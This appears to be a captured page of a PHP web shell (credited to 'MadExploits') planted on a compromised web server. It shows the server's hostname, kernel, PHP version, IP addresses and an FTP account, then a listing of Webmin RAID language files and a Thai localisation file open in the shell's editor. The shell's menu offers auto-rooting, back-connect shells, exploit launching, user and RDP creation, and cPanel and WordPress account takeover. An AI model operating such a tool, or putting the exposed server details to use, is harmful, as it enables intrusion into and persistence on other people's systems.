Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
raid /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af.auto
7.46
KB
-rw-r--r--
ar.auto
9.09
KB
-rw-r--r--
be.auto
11.12
KB
-rw-r--r--
bg
11.75
KB
-rw-r--r--
ca
7.94
KB
-rw-r--r--
cs
5.82
KB
-rw-r--r--
cs.auto
1.95
KB
-rw-r--r--
da.auto
7.34
KB
-rw-r--r--
de
8.16
KB
-rw-r--r--
el.auto
12.51
KB
-rw-r--r--
en
6.98
KB
-rw-r--r--
es
4.83
KB
-rw-r--r--
es.auto
3.13
KB
-rw-r--r--
eu.auto
7.36
KB
-rw-r--r--
fa.auto
10.11
KB
-rw-r--r--
fi.auto
7.51
KB
-rw-r--r--
fr
8.08
KB
-rw-r--r--
fr.auto
212
B
-rw-r--r--
he.auto
8.53
KB
-rw-r--r--
hr.auto
7.58
KB
-rw-r--r--
hu
6.18
KB
-rw-r--r--
hu.auto
888
B
-rw-r--r--
it.auto
7.94
KB
-rw-r--r--
ja
3.05
KB
-rw-r--r--
ja.auto
6.55
KB
-rw-r--r--
ko
2.45
KB
-rw-r--r--
ko.auto
5.58
KB
-rw-r--r--
lt.auto
7.82
KB
-rw-r--r--
lv.auto
7.68
KB
-rw-r--r--
ms.auto
7.37
KB
-rw-r--r--
mt.auto
7.66
KB
-rw-r--r--
nl
6.78
KB
-rw-r--r--
nl.auto
831
B
-rw-r--r--
no
7.3
KB
-rw-r--r--
pl
2.37
KB
-rw-r--r--
pl.auto
5.35
KB
-rw-r--r--
pt.auto
7.9
KB
-rw-r--r--
pt_BR.auto
7.9
KB
-rw-r--r--
ro.auto
8.02
KB
-rw-r--r--
ru
4.3
KB
-rw-r--r--
ru.auto
7.22
KB
-rw-r--r--
sk.auto
7.86
KB
-rw-r--r--
sl.auto
7.51
KB
-rw-r--r--
sv
2.27
KB
-rw-r--r--
sv.auto
5.19
KB
-rw-r--r--
th.auto
13.13
KB
-rw-r--r--
tr.auto
7.69
KB
-rw-r--r--
uk
4.19
KB
-rw-r--r--
uk.auto
6.99
KB
-rw-r--r--
ur.auto
10.12
KB
-rw-r--r--
vi.auto
8.76
KB
-rw-r--r--
zh
2.43
KB
-rw-r--r--
zh.auto
4.18
KB
-rw-r--r--
zh_TW
2.23
KB
-rw-r--r--
zh_TW.auto
4.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : th.auto
index_title=Linux RAID index_none=ไม่ได้กำหนดค่าอุปกรณ์ RAID index_add=สร้างอุปกรณ์ RAID ระดับ: index_return=อุปกรณ์ RAID index_emdstat=ไฟล์สถานะเคอร์เนล RAID 1 ไม่มีอยู่ในระบบของคุณ เคอร์เนลของคุณอาจไม่รองรับ RAID index_eprogs=ไม่ได้ติดตั้งเครื่องมือ RAID หรือแพ็คเกจ MDADM ไว้ในระบบของคุณ index_mdadm=กำลังใช้ MDADM เวอร์ชั่น $1 index_raidtools=ใช้ RaidTools index_name=ชื่ออุปกรณ์ index_active=คล่องแคล่ว? index_errors=ข้อผิดพลาด index_status=สถานะ index_level=ระดับ RAID index_size=ขนาดที่ใช้งานได้ index_members=อุปกรณ์ดิสก์สมาชิก index_header=ตัวเลือกการแจ้งเตือนปัญหา RAID index_mailaddr=ส่งการแจ้งเตือนไปที่ index_mailaddrnone=อย่าส่ง index_mailfrom=จากที่อยู่สำหรับการแจ้งเตือน index_mailfromnone=ค่าเริ่มต้น (<tt>รูท</tt>) index_program=คำสั่งให้เรียกใช้เมื่อตรวจพบปัญหา index_programnone=อย่าเรียกใช้ใด ๆ index_monitor=เปิดใช้งานการตรวจสอบหรือไม่ linear=เชิงเส้น (ตัดแบ่ง) raid0=RAID0 (ลายทาง) raid1=RAID1 (มิร์เรอร์) raid4=RAID4 (Dedicated Parity) raid5=RAID5 (กระจายแบบกระจาย) raid6=RAID6 (การกระจายแบบคู่) raid10=RAID10 (ลายและมิร์เรอร์) blocks=บล็อก create_title=สร้างอุปกรณ์ RAID create_header=ตัวเลือกอุปกรณ์ RAID create_device=ไฟล์อุปกรณ์ create_level=ระดับ RAID create_disks=พาร์ติชันใน RAID create_spares=ฉากกั้นห้อง create_pdisk=พาร์ติชันพาริตี create_missing=รวมดิสก์ที่หายไปในปัจจุบันหรือไม่ create_pauto=อัตโนมัติ create_nodisks=ไม่มีพาร์ติชันว่างสำหรับ RAID create_super=superblock แบบต่อเนื่อง? create_parity=แบบ create_chunk=ขนาดก้อน create_force=บังคับใช้การเริ่มต้นของ RAID หรือไม่ create_assume=ข้ามการเริ่มต้นอุปกรณ์หรือไม่ create_rdev=อุปกรณ์ RAID $1 create_lvm=LVM VG $1, LV $2 create_err=ไม่สามารถสร้าง RAID create_edisks=ไม่ได้เลือกพาร์ติชัน create_edisks2=ต้องเลือกอย่างน้อย 2 พาร์ติชันสำหรับการมิเรอร์ create_espare=พาร์ติชันสำรอง $1 ไม่สามารถเป็นพาร์ติชัน RAID ได้ create_epdisk=พาร์ติชันพาริตี้ไม่สามารถเป็นพาร์ติชัน RAID ได้ create_group=สมาชิกของกลุ่มสำรอง create_nogroup=ไม่มี (ใช้อะไหล่ของตัวเองเท่านั้น) create_oldgroup=กลุ่มที่มีอยู่ create_newgroup=กลุ่มใหม่ create_enewgroup=ชื่อกลุ่มสำรองที่ขาดหายไปหรือไม่ใช่ตัวอักษรและตัวเลข create_n2_layout=2 สำเนาใกล้ create_f2_layout=2 สำเนา create_o2_layout=2 ออฟเซ็ตสำเนา create_n3_layout=3 สำเนาใกล้ create_f3_layout=3 สำเนา create_o3_layout=3 ออฟเซ็ตสำเนา view_title=อุปกรณ์ RAID view_header=ตัวเลือกอุปกรณ์ RAID view_device=ไฟล์อุปกรณ์ view_uuid=UUID view_level=ระดับ RAID view_status=สถานะระบบไฟล์ view_errors=ข้อผิดพลาดของ RAID view_bad=ดิสก์ $1 ล้มเหลว view_mounted=ติดตั้งบน $1 view_mount=สำหรับการติดตั้งบน $1 view_lvm=ใช้ใน LVM VG $1 view_iscsi=ใช้โดยอุปกรณ์ที่ใช้ร่วมกันของ iSCSI $1 view_active=ใช้งานได้ แต่ไม่ได้เมานต์ view_inactive=ไม่ได้ใช้งานและไม่ได้ติดตั้ง view_super=superblock แบบต่อเนื่อง? view_parity=แบบ view_chunk=ขนาดก้อน view_stop=ปิดใช้งาน view_stopdesc=คลิกปุ่มนี้เพื่อปิดอุปกรณ์ RAID เพื่อให้ไม่สามารถเข้าถึงได้อีกต่อไป view_start=เปิดใช้งาน view_startdesc=คลิกปุ่มนี้เพื่อเปิดใช้งานอุปกรณ์ RAID นี้อีกครั้ง view_disks=พาร์ติชันใน RAID view_spares=ฉากกั้นห้อง view_size=ขนาดที่ใช้งานได้ view_resync=เปอร์เซ็นต์การซิงค์ซ้ำเสร็จสิ้น view_delayed=กำลังรออุปกรณ์อื่น view_down=(ลง) view_cannot=ไม่สามารถแก้ไขอุปกรณ์ RAID นี้ได้เนื่องจากติดตั้งอยู่ในปัจจุบัน view_cannot2=อุปกรณ์ RAID นี้ไม่สามารถติดตั้งยกเลิกการใช้งานลบหรือฟอร์แมตใหม่ได้ในขณะที่มันกำลังทำงานอยู่ view_mkfs2=สร้างระบบไฟล์ประเภท: view_mkfsdesc=เลือกประเภทระบบไฟล์และคลิกที่ปุ่มนี้เพื่อสร้างระบบไฟล์ใหม่บนโลจิคัลวอลุ่มนี้ วิธีนี้จะลบข้อมูลใด ๆ ในปริมาณ view_add=เพิ่มพาร์ติชัน: view_adddesc=เลือกพาร์ติชันที่ไม่ได้ใช้งานและคลิกที่ปุ่มนี้เพื่อเพิ่มไปยังอุปกรณ์ RAID view_delete=ลบอาร์เรย์ RAID view_deletedesc=คลิกที่ปุ่มนี้เพื่อลบอุปกรณ์ RAID นี้ทั้งหมด ข้อมูลใด ๆ ที่มีอยู่จะเกือบจะสูญหายไปอย่างแน่นอน! view_remove=ลบพาร์ติชัน: view_removedesc=เลือกพาร์ติชันที่เป็นส่วนหนึ่งของอุปกรณ์ RAID และคลิกปุ่มนี้เพื่อลบ นี่อาจทำให้ข้อมูลสูญหาย! view_remove_det=ลบออก view_remove_detdesc=ลบพาร์ติชันที่ถูกถอดออกจากระบบออกไปแล้ว view_replace=แทนที่พาร์ติชัน: view_replacedesc=เลือกพาร์ติชันที่ควรเปลี่ยน (แทนที่ร้อน) view_grow=เติบโต RAID: view_growdesc=ปลูกอาร์เรย์ view_convert_to_raid6=แปลงเป็น RAID6 view_convert_to_raid6desc=แปลงระดับ RAID เป็น RAID6 โดยเพิ่มหนึ่งไดรฟ์ขึ้นไป view_convert_to_raid5=แปลงเป็น RAID5 view_convert_to_raid5desc=แปลงระดับ RAID เป็น RAID5 โดยการลบไดรฟ์ view_state=สถานะ RAID view_rebuild=กำลังสร้างความคืบหน้าใหม่ view_newmount=เมานต์ RAID บน: view_newmount2=Mount RAID เป็นหน่วยความจำเสมือน view_mountmsg=ป้อนไดเรกทอรีและคลิกที่ปุ่มนี้เพื่อไปที่แบบฟอร์มสำหรับติดตั้งอุปกรณ์ RAID ซึ่งจะต้องมีระบบไฟล์อยู่แล้ว view_mountmsg2=คลิกปุ่มนี้เพื่อใช้อุปกรณ์ RAID นี้สำหรับหน่วยความจำเสมือนในระบบของคุณ view_blocks=$1 บล็อก view_sparegroup=กลุ่มอะไหล่ mkfs_title=สร้างระบบไฟล์ mkfs_header2=แบบฟอร์มนี้ช่วยให้คุณสามารถสร้างระบบแฟ้ม $2 ใหม่ได้ใน $1 ข้อมูลที่มีอยู่ <b>ทั้งหมด</b> จะถูกลบ! mkfs_options=ตัวเลือกระบบไฟล์ Linux ใหม่ mkfs_err=ไม่สามารถสร้างระบบไฟล์ mkfs_exec=กำลังดำเนินการคำสั่ง $1 .. mkfs_failed=.. คำสั่งล้มเหลว! mkfs_ok=.. คำสั่งสมบูรณ์ emkraid=<tt>mkraid</tt> ล้มเหลว : $1 eraidstop=<tt>raidstop</tt> ล้มเหลว : $1 eraidstart=<tt>raidstart</tt> ล้มเหลว : $1 eforce=คุณต้องบังคับให้มีการเริ่มต้นของ RAID นี้ : $1 emdadmstop=<tt>mdadm</tt> in <tt>--stop</tt> mode failed : $1 emdadmcreate=<tt>mdadm</tt> in <tt>--create</tt> mode failed : $1 emdadmadd=<tt>mdadm</tt> in <tt>--manage --add</tt> mode failed : $1 emdadmgrow=<tt>mdadm</tt> in <tt>--grow</tt> mode failed : $1 emdadmremove=<tt>mdadm</tt> in <tt>--manage --remove</tt> mode failed : $1 emdadmreplace=<tt>mdadm</tt> in <tt>--manage --replace</tt> mode failed : $1 emdadmfail=<tt>mdadm</tt> in <tt>--manage --fail</tt> mode failed : $1 log_create=สร้างอุปกรณ์ RAID $1 แล้ว $2 log_stop=ปิดการใช้งานอุปกรณ์ RAID $1 log_start=เปิดใช้งานอุปกรณ์ RAID $1 แล้ว log_delete=ลบอุปกรณ์ RAID $1 แล้ว log_mkfs=สร้างระบบไฟล์ $1 บน $2 log_add=เพิ่มพาร์ทิชัน $2 ไปยังอุปกรณ์ RAID $1 log_remove=นำพาร์ติชัน $2 ออกจากอุปกรณ์ RAID $1 log_replace=พาร์ติชันที่ถูกแทนที่อย่างรวดเร็ว $2 ในอุปกรณ์ RAID $1 พร้อมด้วยพาร์ติชันสำรอง $3 log_grow=เพิ่มอุปกรณ์ RAID $1 ให้กับดิสก์ $2 ทั้งหมด log_convert_to_raid6=แปลงอุปกรณ์ RAID5 $1 เป็นอุปกรณ์ RAID6 log_convert_to_raid5=แปลงอุปกรณ์ RAID6 $1 เป็นอุปกรณ์ RAID5 log_notif=อัปเดตตัวเลือกการแจ้งเตือนปัญหา RAID แล้ว notif_err=ไม่สามารถบันทึกตัวเลือกการแจ้งเตือนปัญหา RAID notif_emailaddr=ที่อยู่แจ้งเตือนที่ขาดหายไปหรือไม่ถูกต้อง notif_emailfrom=ที่อยู่หายไปหรือไม่ถูกต้อง notif_eprogram=โปรแกรมขาดหายไปหรือไม่มีอยู่ในการทำงาน delete_title=ลบ RAID Array delete_rusure=คุณแน่ใจหรือไม่ว่าต้องการลบอาร์เรย์ RAID $1 ซึ่งใช้พื้นที่ดิสก์ $2 หรือไม่ delete_ok=ใช่ลบทิ้ง delete_eidx=ไม่ได้เลือกอาร์เรย์ RAID! remove_title=ลบพาร์ติชันจาก RAID Array remove_rusure=คุณแน่ใจหรือไม่ว่าต้องการลบพาร์ทิชัน RAID $2 จากอาร์เรย์ RAID 1 remove_ok=ใช่ลบออก remove_eidx=ไม่ได้เลือกอาร์เรย์ RAID!
Close